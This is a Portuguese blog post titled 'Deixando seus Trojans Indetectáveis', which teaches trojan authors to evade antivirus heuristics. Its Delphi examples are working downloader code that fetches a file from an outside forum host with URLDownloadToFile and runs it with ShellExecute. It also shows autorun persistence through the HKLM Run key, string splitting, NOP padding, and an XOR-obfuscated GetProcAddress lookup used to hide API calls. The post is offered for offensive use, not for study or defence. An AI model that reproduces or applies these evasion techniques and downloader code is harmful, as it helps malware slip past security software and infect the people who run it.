quinta-feira, 24 de fevereiro de 2011

Deixando seus Trojans Indetectáveis

Bom... Á pedido de muitos... estou postando aqui um tutorial de "Bypassando a Heurística dos AVs"!
Explicarei com modos fáceis, intermediários e difíceis. A cada método, explicará, como funciona, o porquê de usar o método, como usa-lo e dará um exemplo. Tornando assim, muuuuuuuuito fácil de entender! :D

Lembrando... 100% By Kingcaio - http://hazardsource.com/forum/

Então... Let's Code!

Como funciona a Heurística?
Um "Heuristic Scan", funciona, scaneando certas APIs que muitos malwares usam. Por exemplo, a função UrlDownloadToFile();. Ela é usada para salvar um arquivo da internet, para seu computador. Ou seja, faz o download do arquivo para seu computador. Isso é muito usado por Downloaders.

Bypassando a Heurística - Modo Fácil
  1. Alterando o "EntryPoint"
    1. O que é?
    2. O EntryPoint é um endereço, que define o endereço base de mapeação na memória.

    3. Porquê?
    4. O porquê de alterar o entrypoit, é que muitos AVs, para serem rápidos e gastarem pouca memória, scaneiam apenas o PE Header (cabeçalho) do executável. Então, alterando ele, automaticamente alterará o PE Header também.

    5. Como?
    6. Para alterar o EntryPoint, é apenas definir {$IMAGEBASE Número} no seu código. Aonde número, é um valor que você define, e pode variar de $00010000 até $7FFFFFFF. O valor padrão é $00400000

    7. Exemplo:
    8. program HazardDownloader;

      {$IMAGEBASE $0026589541}

      uses
      Windows, ShellApi, UrlMon;

      const
      URL = 'http://www.hazardsource.com/forum/styles/Arrow/imageset/site_logo.png';
      Arquivo = 'C:\hazardsource.png';
      begin
      URLDownloadToFile(nil, URL, Arquivo, 0, nil);
      ShellExecute(0, 'open', Arquivo, nil, nil, SW_SHOWNORMAL);
      end.

  2. Dividindo as Strings principais
    1. O que é?
    2. Dividir as Strings principais, consiste em dividir uma String, que pode ser usada pelo AV para detectar seu arquivo.

    3. Porquê?
    4. Divindo-as, dificulta a vida dos AVs porquê quando o programa for compilado, elas não vão ficar "uma ao lado da outra".

    5. Como?
    6. Simples! É apenas pegar a String, e literalmente separá-la em diversas.

    7. Exemplo:
    8. program HazardAutoRun;

      uses
      Windows;

      const
      Chave = 'SOFT'+'WARE\Mi'+'cros'+'oft\Wi'+'ndows\'+'Current'+'Vers'+'ion\Run';
      Nome = 'HazardAutoRun';
      var
      RegKey: HKey;
      Valor: String;
      begin
      Valor:=ParamStr(0);
      RegCreateKey(HKEY_LOCAL_MACHINE, Chave, RegKey);
      RegSetValueEx(RegKey, Nome, 0, REG_EXPAND_SZ, PChar(Valor), Length(Valor));
      RegCloseKey(RegKey);
      end.

Bypassando a Heurística - Modo Intermediário
  1. Inserindo NOPs
    1. O que é?
    2. NOP, é uma instrução Assembly para a família Intel x86 CPU. Deriva de "No OPeration", ou seja, sem operação.

    3. Porquê?
    4. Inserir NOPs, dificulta um pouco a heurística dos AVs, porquê "separa" as instruções.

    5. Como?
    6. É apenas abrir um asm e inserir o NOP nele entre, ou no começo, das funções que possam serem detectadas.

    7. Exemplo:
    8. program HazardDownloaderNOP;

      uses
      Windows, ShellApi, UrlMon;

      const
      URL = 'http://www.hazardsource.com/forum/styles/Arrow/imageset/site_logo.png';
      Arquivo = 'C:\hazardsource.png';
      begin
      URLDownloadToFile(nil, URL, Arquivo, 0, nil);
      asm
      nop
      end;
      ShellExecute(0, 'open', Arquivo, nil, nil, SW_SHOWNORMAL);
      end.

Bypassando a Heurística - Modo Difícil
  1. Carregando funções com GetProcAddress(); Encriptada
    1. O que é?
    2. Carregar funções com a função GetProcAddress(); encriptada, baseia-se na idéia de carregar a função dinamicamente, e o nome da função é desencriptado em run-time.

    3. Porquê?
    4. Assim, se o AV scanear apenas o arquivo, ele não achará nada. Apenas achará se ele scanear a memória do processo. Deixando assim, um pouquinho mais difícil para os AVs. :D

    5. Como?
    6. É apenas carregar a função com o a função GetProcAddres();, e usar algum tipo de encriptação, para encriptar o nome da função, e na hora de chamar, desencriptar a string.

    7. Exemplo:
    8. program HazardDownloaderCrypted;

      uses
      Windows, ShellApi, URLMon;

      type
      TDownload2File=function(Caller: IUnknown; URL: PChar; FileName: PChar;
      Reserved: DWORD; StatusCB: IBindStatusCallback): HResult; stdcall;

      function Encriptar(Str: String): String;
      const
      Key='q8b2x74h851xk';
      var
      Y, Z: Integer;
      B: Byte;
      begin
      Z:=1;
      for Y:=1 to Length(Str) do
      begin

      B:=(Ord(Str[Y]) and $0f) xor (Ord(Key[Z]) and $0f);
      B:=B xor 10;
      Str[Y]:=Char((Ord(Str[Y]) and $f0)+B);
      Inc(Z);
      if Z>Length(Key) then Z:=1;
      end;
      Result:=Str;
      end;

      const
      URL = 'http://www.hazardsource.com/forum/styles/Arrow/imageset/site_logo.png';
      Arquivo = 'C:\hazardsource.png';
      var
      Download2File: TDownload2File;
      begin
      Download2File:=GetProcAddress(LoadLibrary('URLMON.DLL'), PChar(Encriptar('^PDLmz`nmnoVnMkdmC')));
      Download2File(nil, URL, Arquivo, 0, nil);
      ShellExecute(0, 'open', Arquivo, nil, nil, SW_SHOWNORMAL);
      end.

Bom... é isso... espero que tenham gostado... :D

0 comentários:

Postar um comentário